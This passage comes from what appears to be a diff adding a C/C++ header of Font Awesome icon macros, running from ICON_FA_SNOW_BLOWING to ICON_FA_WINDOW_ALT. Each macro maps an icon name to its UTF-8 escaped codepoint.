// U+f880 +#define ICON_FA_SNOW_BLOWING "\xef\x9d\xa1" // U+f761 +#define ICON_FA_SNOWBOARDING "\xef\x9f\x8e" // U+f7ce +#define ICON_FA_SNOWFLAKE "\xef\x8b\x9c" // U+f2dc +#define ICON_FA_SNOWFLAKES "\xef\x9f\x8f" // U+f7cf +#define ICON_FA_SNOWMAN "\xef\x9f\x90" // U+f7d0 +#define ICON_FA_SNOWMOBILE "\xef\x9f\x91" // U+f7d1 +#define ICON_FA_SNOWPLOW "\xef\x9f\x92" // U+f7d2 +#define ICON_FA_SOAP "\xee\x81\xae" // U+e06e +#define ICON_FA_SOCKS "\xef\x9a\x96" // U+f696 +#define ICON_FA_SOLAR_PANEL "\xef\x96\xba" // U+f5ba +#define ICON_FA_SOLAR_SYSTEM "\xee\x80\xaf" // U+e02f +#define ICON_FA_SORT "\xef\x83\x9c" // U+f0dc +#define ICON_FA_SORT_ALPHA_DOWN "\xef\x85\x9d" // U+f15d +#define ICON_FA_SORT_ALPHA_DOWN_ALT "\xef\xa2\x81" // U+f881 +#define ICON_FA_SORT_ALPHA_UP "\xef\x85\x9e" // U+f15e +#define ICON_FA_SORT_ALPHA_UP_ALT "\xef\xa2\x82" // U+f882 +#define ICON_FA_SORT_ALT "\xef\xa2\x83" // U+f883 +#define ICON_FA_SORT_AMOUNT_DOWN "\xef\x85\xa0" // U+f160 +#define ICON_FA_SORT_AMOUNT_DOWN_ALT "\xef\xa2\x84" // U+f884 +#define ICON_FA_SORT_AMOUNT_UP "\xef\x85\xa1" // U+f161 +#define ICON_FA_SORT_AMOUNT_UP_ALT "\xef\xa2\x85" // U+f885 +#define ICON_FA_SORT_CIRCLE "\xee\x80\xb0" // U+e030 +#define ICON_FA_SORT_CIRCLE_DOWN "\xee\x80\xb1" // U+e031 +#define ICON_FA_SORT_CIRCLE_UP "\xee\x80\xb2" // U+e032 +#define ICON_FA_SORT_DOWN "\xef\x83\x9d" // U+f0dd +#define ICON_FA_SORT_NUMERIC_DOWN "\xef\x85\xa2" // U+f162 +#define ICON_FA_SORT_NUMERIC_DOWN_ALT "\xef\xa2\x86" // U+f886 +#define ICON_FA_SORT_NUMERIC_UP "\xef\x85\xa3" // U+f163 +#define ICON_FA_SORT_NUMERIC_UP_ALT "\xef\xa2\x87" // U+f887 +#define ICON_FA_SORT_SHAPES_DOWN "\xef\xa2\x88" // U+f888 +#define ICON_FA_SORT_SHAPES_DOWN_ALT "\xef\xa2\x89" // U+f889 +#define ICON_FA_SORT_SHAPES_UP "\xef\xa2\x8a" // U+f88a +#define ICON_FA_SORT_SHAPES_UP_ALT "\xef\xa2\x8b" // U+f88b +#define ICON_FA_SORT_SIZE_DOWN "\xef\xa2\x8c" // U+f88c +#define ICON_FA_SORT_SIZE_DOWN_ALT "\xef\xa2\x8d" // U+f88d +#define ICON_FA_SORT_SIZE_UP "\xef\xa2\x8e" // U+f88e +#define ICON_FA_SORT_SIZE_UP_ALT "\xef\xa2\x8f" // U+f88f +#define ICON_FA_SORT_UP "\xef\x83\x9e" // U+f0de +#define ICON_FA_SOUP "\xef\xa0\xa3" // U+f823 +#define ICON_FA_SPA "\xef\x96\xbb" // U+f5bb +#define ICON_FA_SPACE_SHUTTLE "\xef\x86\x97" // U+f197 +#define ICON_FA_SPACE_STATION_MOON "\xee\x80\xb3" // U+e033 +#define ICON_FA_SPACE_STATION_MOON_ALT "\xee\x80\xb4" // U+e034 +#define ICON_FA_SPADE "\xef\x8b\xb4" // U+f2f4 +#define ICON_FA_SPARKLES "\xef\xa2\x90" // U+f890 +#define ICON_FA_SPEAKER "\xef\xa3\x9f" // U+f8df +#define ICON_FA_SPEAKERS "\xef\xa3\xa0" // U+f8e0 +#define ICON_FA_SPELL_CHECK "\xef\xa2\x91" // U+f891 +#define ICON_FA_SPIDER "\xef\x9c\x97" // U+f717 +#define ICON_FA_SPIDER_BLACK_WIDOW "\xef\x9c\x98" // U+f718 +#define ICON_FA_SPIDER_WEB "\xef\x9c\x99" // U+f719 +#define ICON_FA_SPINNER "\xef\x84\x90" // U+f110 +#define ICON_FA_SPINNER_THIRD "\xef\x8f\xb4" // U+f3f4 +#define ICON_FA_SPLOTCH "\xef\x96\xbc" // U+f5bc +#define ICON_FA_SPRAY_CAN "\xef\x96\xbd" // U+f5bd +#define ICON_FA_SPRINKLER "\xee\x80\xb5" // U+e035 +#define ICON_FA_SQUARE "\xef\x83\x88" // U+f0c8 +#define ICON_FA_SQUARE_FULL "\xef\x91\x9c" // U+f45c +#define ICON_FA_SQUARE_ROOT "\xef\x9a\x97" // U+f697 +#define ICON_FA_SQUARE_ROOT_ALT "\xef\x9a\x98" // U+f698 +#define ICON_FA_SQUIRREL "\xef\x9c\x9a" // U+f71a +#define ICON_FA_STAFF "\xef\x9c\x9b" // U+f71b +#define ICON_FA_STAMP "\xef\x96\xbf" // U+f5bf +#define ICON_FA_STAR "\xef\x80\x85" // U+f005 +#define ICON_FA_STAR_AND_CRESCENT "\xef\x9a\x99" // U+f699 +#define ICON_FA_STAR_CHRISTMAS "\xef\x9f\x94" // U+f7d4 +#define ICON_FA_STAR_EXCLAMATION "\xef\x8b\xb3" // U+f2f3 +#define ICON_FA_STAR_HALF "\xef\x82\x89" // U+f089 +#define ICON_FA_STAR_HALF_ALT "\xef\x97\x80" // U+f5c0 +#define ICON_FA_STAR_OF_DAVID "\xef\x9a\x9a" // U+f69a +#define ICON_FA_STAR_OF_LIFE "\xef\x98\xa1" // U+f621 +#define ICON_FA_STAR_SHOOTING "\xee\x80\xb6" // U+e036 +#define ICON_FA_STARFIGHTER "\xee\x80\xb7" // U+e037 +#define ICON_FA_STARFIGHTER_ALT "\xee\x80\xb8" // U+e038 +#define ICON_FA_STARS "\xef\x9d\xa2" // U+f762 +#define ICON_FA_STARSHIP "\xee\x80\xb9" // U+e039 +#define ICON_FA_STARSHIP_FREIGHTER "\xee\x80\xba" // U+e03a +#define ICON_FA_STEAK "\xef\xa0\xa4" // U+f824 +#define ICON_FA_STEERING_WHEEL "\xef\x98\xa2" // U+f622 +#define ICON_FA_STEP_BACKWARD "\xef\x81\x88" // U+f048 +#define ICON_FA_STEP_FORWARD "\xef\x81\x91" // U+f051 +#define ICON_FA_STETHOSCOPE "\xef\x83\xb1" // U+f0f1 +#define ICON_FA_STICKY_NOTE "\xef\x89\x89" // U+f249 +#define ICON_FA_STOCKING "\xef\x9f\x95" // U+f7d5 +#define ICON_FA_STOMACH "\xef\x98\xa3" // U+f623 +#define ICON_FA_STOP "\xef\x81\x8d" // U+f04d +#define ICON_FA_STOP_CIRCLE "\xef\x8a\x8d" // U+f28d +#define ICON_FA_STOPWATCH "\xef\x8b\xb2" // U+f2f2 +#define ICON_FA_STOPWATCH_20 "\xee\x81\xaf" // U+e06f +#define ICON_FA_STORE "\xef\x95\x8e" // U+f54e +#define ICON_FA_STORE_ALT "\xef\x95\x8f" // U+f54f +#define ICON_FA_STORE_ALT_SLASH "\xee\x81\xb0" // U+e070 +#define ICON_FA_STORE_SLASH "\xee\x81\xb1" // U+e071 +#define ICON_FA_STREAM "\xef\x95\x90" // U+f550 +#define ICON_FA_STREET_VIEW "\xef\x88\x9d" // U+f21d +#define ICON_FA_STRETCHER "\xef\xa0\xa5" // U+f825 +#define ICON_FA_STRIKETHROUGH "\xef\x83\x8c" // U+f0cc +#define ICON_FA_STROOPWAFEL "\xef\x95\x91" // U+f551 +#define ICON_FA_SUBSCRIPT "\xef\x84\xac" // U+f12c +#define ICON_FA_SUBWAY "\xef\x88\xb9" // U+f239 +#define ICON_FA_SUITCASE "\xef\x83\xb2" // U+f0f2 +#define ICON_FA_SUITCASE_ROLLING "\xef\x97\x81" // U+f5c1 +#define ICON_FA_SUN "\xef\x86\x85" // U+f185 +#define ICON_FA_SUN_CLOUD "\xef\x9d\xa3" // U+f763 +#define ICON_FA_SUN_DUST "\xef\x9d\xa4" // U+f764 +#define ICON_FA_SUN_HAZE "\xef\x9d\xa5" // U+f765 +#define ICON_FA_SUNGLASSES "\xef\xa2\x92" // U+f892 +#define ICON_FA_SUNRISE "\xef\x9d\xa6" // U+f766 +#define ICON_FA_SUNSET "\xef\x9d\xa7" // U+f767 +#define ICON_FA_SUPERSCRIPT "\xef\x84\xab" // U+f12b +#define ICON_FA_SURPRISE "\xef\x97\x82" // U+f5c2 +#define ICON_FA_SWATCHBOOK "\xef\x97\x83" // U+f5c3 +#define ICON_FA_SWIMMER "\xef\x97\x84" // U+f5c4 +#define ICON_FA_SWIMMING_POOL "\xef\x97\x85" // U+f5c5 +#define ICON_FA_SWORD "\xef\x9c\x9c" // U+f71c +#define ICON_FA_SWORD_LASER "\xee\x80\xbb" // U+e03b +#define ICON_FA_SWORD_LASER_ALT "\xee\x80\xbc" // U+e03c +#define ICON_FA_SWORDS "\xef\x9c\x9d" // U+f71d +#define ICON_FA_SWORDS_LASER "\xee\x80\xbd" // U+e03d +#define ICON_FA_SYNAGOGUE "\xef\x9a\x9b" // U+f69b +#define ICON_FA_SYNC "\xef\x80\xa1" // U+f021 +#define ICON_FA_SYNC_ALT "\xef\x8b\xb1" // U+f2f1 +#define ICON_FA_SYRINGE "\xef\x92\x8e" // U+f48e +#define ICON_FA_TABLE "\xef\x83\x8e" // U+f0ce +#define ICON_FA_TABLE_TENNIS "\xef\x91\x9d" // U+f45d +#define ICON_FA_TABLET "\xef\x84\x8a" // U+f10a +#define ICON_FA_TABLET_ALT "\xef\x8f\xba" // U+f3fa +#define ICON_FA_TABLET_ANDROID "\xef\x8f\xbb" // U+f3fb +#define ICON_FA_TABLET_ANDROID_ALT "\xef\x8f\xbc" // U+f3fc +#define ICON_FA_TABLET_RUGGED "\xef\x92\x8f" // U+f48f +#define ICON_FA_TABLETS "\xef\x92\x90" // U+f490 +#define ICON_FA_TACHOMETER "\xef\x83\xa4" // U+f0e4 +#define ICON_FA_TACHOMETER_ALT "\xef\x8f\xbd" // U+f3fd +#define ICON_FA_TACHOMETER_ALT_AVERAGE "\xef\x98\xa4" // U+f624 +#define ICON_FA_TACHOMETER_ALT_FAST "\xef\x98\xa5" // U+f625 +#define ICON_FA_TACHOMETER_ALT_FASTEST "\xef\x98\xa6" // U+f626 +#define ICON_FA_TACHOMETER_ALT_SLOW "\xef\x98\xa7" // U+f627 +#define ICON_FA_TACHOMETER_ALT_SLOWEST "\xef\x98\xa8" // U+f628 +#define ICON_FA_TACHOMETER_AVERAGE "\xef\x98\xa9" // U+f629 +#define ICON_FA_TACHOMETER_FAST "\xef\x98\xaa" // U+f62a +#define ICON_FA_TACHOMETER_FASTEST "\xef\x98\xab" // U+f62b +#define ICON_FA_TACHOMETER_SLOW "\xef\x98\xac" // U+f62c +#define ICON_FA_TACHOMETER_SLOWEST "\xef\x98\xad" // U+f62d +#define ICON_FA_TACO "\xef\xa0\xa6" // U+f826 +#define ICON_FA_TAG "\xef\x80\xab" // U+f02b +#define ICON_FA_TAGS "\xef\x80\xac" // U+f02c +#define ICON_FA_TALLY "\xef\x9a\x9c" // U+f69c +#define ICON_FA_TANAKH "\xef\xa0\xa7" // U+f827 +#define ICON_FA_TAPE "\xef\x93\x9b" // U+f4db +#define ICON_FA_TASKS "\xef\x82\xae" // U+f0ae +#define ICON_FA_TASKS_ALT "\xef\xa0\xa8" // U+f828 +#define ICON_FA_TAXI "\xef\x86\xba" // U+f1ba +#define ICON_FA_TEETH "\xef\x98\xae" // U+f62e +#define ICON_FA_TEETH_OPEN "\xef\x98\xaf" // U+f62f +#define ICON_FA_TELESCOPE "\xee\x80\xbe" // U+e03e +#define ICON_FA_TEMPERATURE_DOWN "\xee\x80\xbf" // U+e03f +#define ICON_FA_TEMPERATURE_FRIGID "\xef\x9d\xa8" // U+f768 +#define ICON_FA_TEMPERATURE_HIGH "\xef\x9d\xa9" // U+f769 +#define ICON_FA_TEMPERATURE_HOT "\xef\x9d\xaa" // U+f76a +#define ICON_FA_TEMPERATURE_LOW "\xef\x9d\xab" // U+f76b +#define ICON_FA_TEMPERATURE_UP "\xee\x81\x80" // U+e040 +#define ICON_FA_TENGE "\xef\x9f\x97" // U+f7d7 +#define ICON_FA_TENNIS_BALL "\xef\x91\x9e" // U+f45e +#define ICON_FA_TERMINAL "\xef\x84\xa0" // U+f120 +#define ICON_FA_TEXT "\xef\xa2\x93" // U+f893 +#define ICON_FA_TEXT_HEIGHT "\xef\x80\xb4" // U+f034 +#define ICON_FA_TEXT_SIZE "\xef\xa2\x94" // U+f894 +#define ICON_FA_TEXT_WIDTH "\xef\x80\xb5" // U+f035 +#define ICON_FA_TH "\xef\x80\x8a" // U+f00a +#define ICON_FA_TH_LARGE "\xef\x80\x89" // U+f009 +#define ICON_FA_TH_LIST "\xef\x80\x8b" // U+f00b +#define ICON_FA_THEATER_MASKS "\xef\x98\xb0" // U+f630 +#define ICON_FA_THERMOMETER "\xef\x92\x91" // U+f491 +#define ICON_FA_THERMOMETER_EMPTY "\xef\x8b\x8b" // U+f2cb +#define ICON_FA_THERMOMETER_FULL "\xef\x8b\x87" // U+f2c7 +#define ICON_FA_THERMOMETER_HALF "\xef\x8b\x89" // U+f2c9 +#define ICON_FA_THERMOMETER_QUARTER "\xef\x8b\x8a" // U+f2ca +#define ICON_FA_THERMOMETER_THREE_QUARTERS "\xef\x8b\x88" // U+f2c8 +#define ICON_FA_THETA "\xef\x9a\x9e" // U+f69e +#define ICON_FA_THUMBS_DOWN "\xef\x85\xa5" // U+f165 +#define ICON_FA_THUMBS_UP "\xef\x85\xa4" // U+f164 +#define ICON_FA_THUMBTACK "\xef\x82\x8d" // U+f08d +#define ICON_FA_THUNDERSTORM "\xef\x9d\xac" // U+f76c +#define ICON_FA_THUNDERSTORM_MOON "\xef\x9d\xad" // U+f76d +#define ICON_FA_THUNDERSTORM_SUN "\xef\x9d\xae" // U+f76e +#define ICON_FA_TICKET "\xef\x85\x85" // U+f145 +#define ICON_FA_TICKET_ALT "\xef\x8f\xbf" // U+f3ff +#define ICON_FA_TILDE "\xef\x9a\x9f" // U+f69f +#define ICON_FA_TIMES "\xef\x80\x8d" // U+f00d +#define ICON_FA_TIMES_CIRCLE "\xef\x81\x97" // U+f057 +#define ICON_FA_TIMES_HEXAGON "\xef\x8b\xae" // U+f2ee +#define ICON_FA_TIMES_OCTAGON "\xef\x8b\xb0" // U+f2f0 +#define ICON_FA_TIMES_SQUARE "\xef\x8b\x93" // U+f2d3 +#define ICON_FA_TINT "\xef\x81\x83" // U+f043 +#define ICON_FA_TINT_SLASH "\xef\x97\x87" // U+f5c7 +#define ICON_FA_TIRE "\xef\x98\xb1" // U+f631 +#define ICON_FA_TIRE_FLAT "\xef\x98\xb2" // U+f632 +#define ICON_FA_TIRE_PRESSURE_WARNING "\xef\x98\xb3" // U+f633 +#define ICON_FA_TIRE_RUGGED "\xef\x98\xb4" // U+f634 +#define ICON_FA_TIRED "\xef\x97\x88" // U+f5c8 +#define ICON_FA_TOGGLE_OFF "\xef\x88\x84" // U+f204 +#define ICON_FA_TOGGLE_ON "\xef\x88\x85" // U+f205 +#define ICON_FA_TOILET "\xef\x9f\x98" // U+f7d8 +#define ICON_FA_TOILET_PAPER "\xef\x9c\x9e" // U+f71e +#define ICON_FA_TOILET_PAPER_ALT "\xef\x9c\x9f" // U+f71f +#define ICON_FA_TOILET_PAPER_SLASH "\xee\x81\xb2" // U+e072 +#define ICON_FA_TOMBSTONE "\xef\x9c\xa0" // U+f720 +#define ICON_FA_TOMBSTONE_ALT "\xef\x9c\xa1" // U+f721 +#define ICON_FA_TOOLBOX "\xef\x95\x92" // U+f552 +#define ICON_FA_TOOLS "\xef\x9f\x99" // U+f7d9 +#define ICON_FA_TOOTH "\xef\x97\x89" // U+f5c9 +#define ICON_FA_TOOTHBRUSH "\xef\x98\xb5" // U+f635 +#define ICON_FA_TORAH "\xef\x9a\xa0" // U+f6a0 +#define ICON_FA_TORII_GATE "\xef\x9a\xa1" // U+f6a1 +#define ICON_FA_TORNADO "\xef\x9d\xaf" // U+f76f +#define ICON_FA_TRACTOR "\xef\x9c\xa2" // U+f722 +#define ICON_FA_TRADEMARK "\xef\x89\x9c" // U+f25c +#define ICON_FA_TRAFFIC_CONE "\xef\x98\xb6" // U+f636 +#define ICON_FA_TRAFFIC_LIGHT "\xef\x98\xb7" // U+f637 +#define ICON_FA_TRAFFIC_LIGHT_GO "\xef\x98\xb8" // U+f638 +#define ICON_FA_TRAFFIC_LIGHT_SLOW "\xef\x98\xb9" // U+f639 +#define ICON_FA_TRAFFIC_LIGHT_STOP "\xef\x98\xba" // U+f63a +#define ICON_FA_TRAILER "\xee\x81\x81" // U+e041 +#define ICON_FA_TRAIN "\xef\x88\xb8" // U+f238 +#define ICON_FA_TRAM "\xef\x9f\x9a" // U+f7da +#define ICON_FA_TRANSGENDER "\xef\x88\xa4" // U+f224 +#define ICON_FA_TRANSGENDER_ALT "\xef\x88\xa5" // U+f225 +#define ICON_FA_TRANSPORTER "\xee\x81\x82" // U+e042 +#define ICON_FA_TRANSPORTER_1 "\xee\x81\x83" // U+e043 +#define ICON_FA_TRANSPORTER_2 "\xee\x81\x84" // U+e044 +#define ICON_FA_TRANSPORTER_3 "\xee\x81\x85" // U+e045 +#define ICON_FA_TRANSPORTER_EMPTY "\xee\x81\x86" // U+e046 +#define ICON_FA_TRASH "\xef\x87\xb8" // U+f1f8 +#define ICON_FA_TRASH_ALT "\xef\x8b\xad" // U+f2ed +#define ICON_FA_TRASH_RESTORE "\xef\xa0\xa9" // U+f829 +#define ICON_FA_TRASH_RESTORE_ALT "\xef\xa0\xaa" // U+f82a +#define ICON_FA_TRASH_UNDO "\xef\xa2\x95" // U+f895 +#define ICON_FA_TRASH_UNDO_ALT "\xef\xa2\x96" // U+f896 +#define ICON_FA_TREASURE_CHEST "\xef\x9c\xa3" // U+f723 +#define ICON_FA_TREE "\xef\x86\xbb" // U+f1bb +#define ICON_FA_TREE_ALT "\xef\x90\x80" // U+f400 +#define ICON_FA_TREE_CHRISTMAS "\xef\x9f\x9b" // U+f7db +#define ICON_FA_TREE_DECORATED "\xef\x9f\x9c" // U+f7dc +#define ICON_FA_TREE_LARGE "\xef\x9f\x9d" // U+f7dd +#define ICON_FA_TREE_PALM "\xef\xa0\xab" // U+f82b +#define ICON_FA_TREES "\xef\x9c\xa4" // U+f724 +#define ICON_FA_TRIANGLE "\xef\x8b\xac" // U+f2ec +#define ICON_FA_TRIANGLE_MUSIC "\xef\xa3\xa2" // U+f8e2 +#define ICON_FA_TROPHY "\xef\x82\x91" // U+f091 +#define ICON_FA_TROPHY_ALT "\xef\x8b\xab" // U+f2eb +#define ICON_FA_TRUCK "\xef\x83\x91" // U+f0d1 +#define ICON_FA_TRUCK_CONTAINER "\xef\x93\x9c" // U+f4dc +#define ICON_FA_TRUCK_COUCH "\xef\x93\x9d" // U+f4dd +#define ICON_FA_TRUCK_LOADING "\xef\x93\x9e" // U+f4de +#define ICON_FA_TRUCK_MONSTER "\xef\x98\xbb" // U+f63b +#define ICON_FA_TRUCK_MOVING "\xef\x93\x9f" // U+f4df +#define ICON_FA_TRUCK_PICKUP "\xef\x98\xbc" // U+f63c +#define ICON_FA_TRUCK_PLOW "\xef\x9f\x9e" // U+f7de +#define ICON_FA_TRUCK_RAMP "\xef\x93\xa0" // U+f4e0 +#define ICON_FA_TRUMPET "\xef\xa3\xa3" // U+f8e3 +#define ICON_FA_TSHIRT "\xef\x95\x93" // U+f553 +#define ICON_FA_TTY "\xef\x87\xa4" // U+f1e4 +#define ICON_FA_TURKEY "\xef\x9c\xa5" // U+f725 +#define ICON_FA_TURNTABLE "\xef\xa3\xa4" // U+f8e4 +#define ICON_FA_TURTLE "\xef\x9c\xa6" // U+f726 +#define ICON_FA_TV "\xef\x89\xac" // U+f26c +#define ICON_FA_TV_ALT "\xef\xa3\xa5" // U+f8e5 +#define ICON_FA_TV_MUSIC "\xef\xa3\xa6" // U+f8e6 +#define ICON_FA_TV_RETRO "\xef\x90\x81" // U+f401 +#define ICON_FA_TYPEWRITER "\xef\xa3\xa7" // U+f8e7 +#define ICON_FA_UFO "\xee\x81\x87" // U+e047 +#define ICON_FA_UFO_BEAM "\xee\x81\x88" // U+e048 +#define ICON_FA_UMBRELLA "\xef\x83\xa9" // U+f0e9 +#define ICON_FA_UMBRELLA_BEACH "\xef\x97\x8a" // U+f5ca +#define ICON_FA_UNDERLINE "\xef\x83\x8d" // U+f0cd +#define ICON_FA_UNDO "\xef\x83\xa2" // U+f0e2 +#define ICON_FA_UNDO_ALT "\xef\x8b\xaa" // U+f2ea +#define ICON_FA_UNICORN "\xef\x9c\xa7" // U+f727 +#define ICON_FA_UNION "\xef\x9a\xa2" // U+f6a2 +#define ICON_FA_UNIVERSAL_ACCESS "\xef\x8a\x9a" // U+f29a +#define ICON_FA_UNIVERSITY "\xef\x86\x9c" // U+f19c +#define ICON_FA_UNLINK "\xef\x84\xa7" // U+f127 +#define ICON_FA_UNLOCK "\xef\x82\x9c" // U+f09c +#define ICON_FA_UNLOCK_ALT "\xef\x84\xbe" // U+f13e +#define ICON_FA_UPLOAD "\xef\x82\x93" // U+f093 +#define ICON_FA_USB_DRIVE "\xef\xa3\xa9" // U+f8e9 +#define ICON_FA_USD_CIRCLE "\xef\x8b\xa8" // U+f2e8 +#define ICON_FA_USD_SQUARE "\xef\x8b\xa9" // U+f2e9 +#define ICON_FA_USER "\xef\x80\x87" // U+f007 +#define ICON_FA_USER_ALIEN "\xee\x81\x8a" // U+e04a +#define ICON_FA_USER_ALT "\xef\x90\x86" // U+f406 +#define ICON_FA_USER_ALT_SLASH "\xef\x93\xba" // U+f4fa +#define ICON_FA_USER_ASTRONAUT "\xef\x93\xbb" // U+f4fb +#define ICON_FA_USER_CHART "\xef\x9a\xa3" // U+f6a3 +#define ICON_FA_USER_CHECK "\xef\x93\xbc" // U+f4fc +#define ICON_FA_USER_CIRCLE "\xef\x8a\xbd" // U+f2bd +#define ICON_FA_USER_CLOCK "\xef\x93\xbd" // U+f4fd +#define ICON_FA_USER_COG "\xef\x93\xbe" // U+f4fe +#define ICON_FA_USER_COWBOY "\xef\xa3\xaa" // U+f8ea +#define ICON_FA_USER_CROWN "\xef\x9a\xa4" // U+f6a4 +#define ICON_FA_USER_EDIT "\xef\x93\xbf" // U+f4ff +#define ICON_FA_USER_FRIENDS "\xef\x94\x80" // U+f500 +#define ICON_FA_USER_GRADUATE "\xef\x94\x81" // U+f501 +#define ICON_FA_USER_HARD_HAT "\xef\xa0\xac" // U+f82c +#define ICON_FA_USER_HEADSET "\xef\xa0\xad" // U+f82d +#define ICON_FA_USER_INJURED "\xef\x9c\xa8" // U+f728 +#define ICON_FA_USER_LOCK "\xef\x94\x82" // U+f502 +#define ICON_FA_USER_MD "\xef\x83\xb0" // U+f0f0 +#define ICON_FA_USER_MD_CHAT "\xef\xa0\xae" // U+f82e +#define ICON_FA_USER_MINUS "\xef\x94\x83" // U+f503 +#define ICON_FA_USER_MUSIC "\xef\xa3\xab" // U+f8eb +#define ICON_FA_USER_NINJA "\xef\x94\x84" // U+f504 +#define ICON_FA_USER_NURSE "\xef\xa0\xaf" // U+f82f +#define ICON_FA_USER_PLUS "\xef\x88\xb4" // U+f234 +#define ICON_FA_USER_ROBOT "\xee\x81\x8b" // U+e04b +#define ICON_FA_USER_SECRET "\xef\x88\x9b" // U+f21b +#define ICON_FA_USER_SHIELD "\xef\x94\x85" // U+f505 +#define ICON_FA_USER_SLASH "\xef\x94\x86" // U+f506 +#define ICON_FA_USER_TAG "\xef\x94\x87" // U+f507 +#define ICON_FA_USER_TIE "\xef\x94\x88" // U+f508 +#define ICON_FA_USER_TIMES "\xef\x88\xb5" // U+f235 +#define ICON_FA_USER_UNLOCK "\xee\x81\x98" // U+e058 +#define ICON_FA_USER_VISOR "\xee\x81\x8c" // U+e04c +#define ICON_FA_USERS "\xef\x83\x80" // U+f0c0 +#define ICON_FA_USERS_CLASS "\xef\x98\xbd" // U+f63d +#define ICON_FA_USERS_COG "\xef\x94\x89" // U+f509 +#define ICON_FA_USERS_CROWN "\xef\x9a\xa5" // U+f6a5 +#define ICON_FA_USERS_MEDICAL "\xef\xa0\xb0" // U+f830 +#define ICON_FA_USERS_SLASH "\xee\x81\xb3" // U+e073 +#define ICON_FA_UTENSIL_FORK "\xef\x8b\xa3" // U+f2e3 +#define ICON_FA_UTENSIL_KNIFE "\xef\x8b\xa4" // U+f2e4 +#define ICON_FA_UTENSIL_SPOON "\xef\x8b\xa5" // U+f2e5 +#define ICON_FA_UTENSILS "\xef\x8b\xa7" // U+f2e7 +#define ICON_FA_UTENSILS_ALT "\xef\x8b\xa6" // U+f2e6 +#define ICON_FA_VACUUM "\xee\x81\x8d" // U+e04d +#define ICON_FA_VACUUM_ROBOT "\xee\x81\x8e" // U+e04e +#define ICON_FA_VALUE_ABSOLUTE "\xef\x9a\xa6" // U+f6a6 +#define ICON_FA_VECTOR_SQUARE "\xef\x97\x8b" // U+f5cb +#define ICON_FA_VENUS "\xef\x88\xa1" // U+f221 +#define ICON_FA_VENUS_DOUBLE "\xef\x88\xa6" // U+f226 +#define ICON_FA_VENUS_MARS "\xef\x88\xa8" // U+f228 +#define ICON_FA_VEST "\xee\x82\x85" // U+e085 +#define ICON_FA_VEST_PATCHES "\xee\x82\x86" // U+e086 +#define ICON_FA_VHS "\xef\xa3\xac" // U+f8ec +#define ICON_FA_VIAL "\xef\x92\x92" // U+f492 +#define ICON_FA_VIALS "\xef\x92\x93" // U+f493 +#define ICON_FA_VIDEO "\xef\x80\xbd" // U+f03d +#define ICON_FA_VIDEO_PLUS "\xef\x93\xa1" // U+f4e1 +#define ICON_FA_VIDEO_SLASH "\xef\x93\xa2" // U+f4e2 +#define ICON_FA_VIHARA "\xef\x9a\xa7" // U+f6a7 +#define ICON_FA_VIOLIN "\xef\xa3\xad" // U+f8ed +#define ICON_FA_VIRUS "\xee\x81\xb4" // U+e074 +#define ICON_FA_VIRUS_SLASH "\xee\x81\xb5" // U+e075 +#define ICON_FA_VIRUSES "\xee\x81\xb6" // U+e076 +#define ICON_FA_VOICEMAIL "\xef\xa2\x97" // U+f897 +#define ICON_FA_VOLCANO "\xef\x9d\xb0" // U+f770 +#define ICON_FA_VOLLEYBALL_BALL "\xef\x91\x9f" // U+f45f +#define ICON_FA_VOLUME "\xef\x9a\xa8" // U+f6a8 +#define ICON_FA_VOLUME_DOWN "\xef\x80\xa7" // U+f027 +#define ICON_FA_VOLUME_MUTE "\xef\x9a\xa9" // U+f6a9 +#define ICON_FA_VOLUME_OFF "\xef\x80\xa6" // U+f026 +#define ICON_FA_VOLUME_SLASH "\xef\x8b\xa2" // U+f2e2 +#define ICON_FA_VOLUME_UP "\xef\x80\xa8" // U+f028 +#define ICON_FA_VOTE_NAY "\xef\x9d\xb1" // U+f771 +#define ICON_FA_VOTE_YEA "\xef\x9d\xb2" // U+f772 +#define ICON_FA_VR_CARDBOARD "\xef\x9c\xa9" // U+f729 +#define ICON_FA_WAGON_COVERED "\xef\xa3\xae" // U+f8ee +#define ICON_FA_WALKER "\xef\xa0\xb1" // U+f831 +#define ICON_FA_WALKIE_TALKIE "\xef\xa3\xaf" // U+f8ef +#define ICON_FA_WALKING "\xef\x95\x94" // U+f554 +#define ICON_FA_WALLET "\xef\x95\x95" // U+f555 +#define ICON_FA_WAND "\xef\x9c\xaa" // U+f72a +#define ICON_FA_WAND_MAGIC "\xef\x9c\xab" // U+f72b +#define ICON_FA_WAREHOUSE "\xef\x92\x94" // U+f494 +#define ICON_FA_WAREHOUSE_ALT "\xef\x92\x95" // U+f495 +#define ICON_FA_WASHER "\xef\xa2\x98" // U+f898 +#define ICON_FA_WATCH "\xef\x8b\xa1" // U+f2e1 +#define ICON_FA_WATCH_CALCULATOR "\xef\xa3\xb0" // U+f8f0 +#define ICON_FA_WATCH_FITNESS "\xef\x98\xbe" // U+f63e +#define ICON_FA_WATER "\xef\x9d\xb3" // U+f773 +#define ICON_FA_WATER_LOWER "\xef\x9d\xb4" // U+f774 +#define ICON_FA_WATER_RISE "\xef\x9d\xb5" // U+f775 +#define ICON_FA_WAVE_SINE "\xef\xa2\x99" // U+f899 +#define ICON_FA_WAVE_SQUARE "\xef\xa0\xbe" // U+f83e +#define ICON_FA_WAVE_TRIANGLE "\xef\xa2\x9a" // U+f89a +#define ICON_FA_WAVEFORM "\xef\xa3\xb1" // U+f8f1 +#define ICON_FA_WAVEFORM_PATH "\xef\xa3\xb2" // U+f8f2 +#define ICON_FA_WEBCAM "\xef\xa0\xb2" // U+f832 +#define ICON_FA_WEBCAM_SLASH "\xef\xa0\xb3" // U+f833 +#define ICON_FA_WEIGHT "\xef\x92\x96" // U+f496 +#define ICON_FA_WEIGHT_HANGING "\xef\x97\x8d" // U+f5cd +#define ICON_FA_WHALE "\xef\x9c\xac" // U+f72c +#define ICON_FA_WHEAT "\xef\x9c\xad" // U+f72d +#define ICON_FA_WHEELCHAIR "\xef\x86\x93" // U+f193 +#define ICON_FA_WHISTLE "\xef\x91\xa0" // U+f460 +#define ICON_FA_WIFI "\xef\x87\xab" // U+f1eb +#define ICON_FA_WIFI_1 "\xef\x9a\xaa" // U+f6aa +#define ICON_FA_WIFI_2 "\xef\x9a\xab" // U+f6ab +#define ICON_FA_WIFI_SLASH "\xef\x9a\xac" // U+f6ac +#define ICON_FA_WIND "\xef\x9c\xae" // U+f72e +#define ICON_FA_WIND_TURBINE "\xef\xa2\x9b" // U+f89b +#define ICON_FA_WIND_WARNING "\xef\x9d\xb6" // U+f776 +#define ICON_FA_WINDOW "\xef\x90\x8e" // U+f40e +#define ICON_FA_WINDOW_ALT "\xef\x90\x8f" // U+f40f +#define 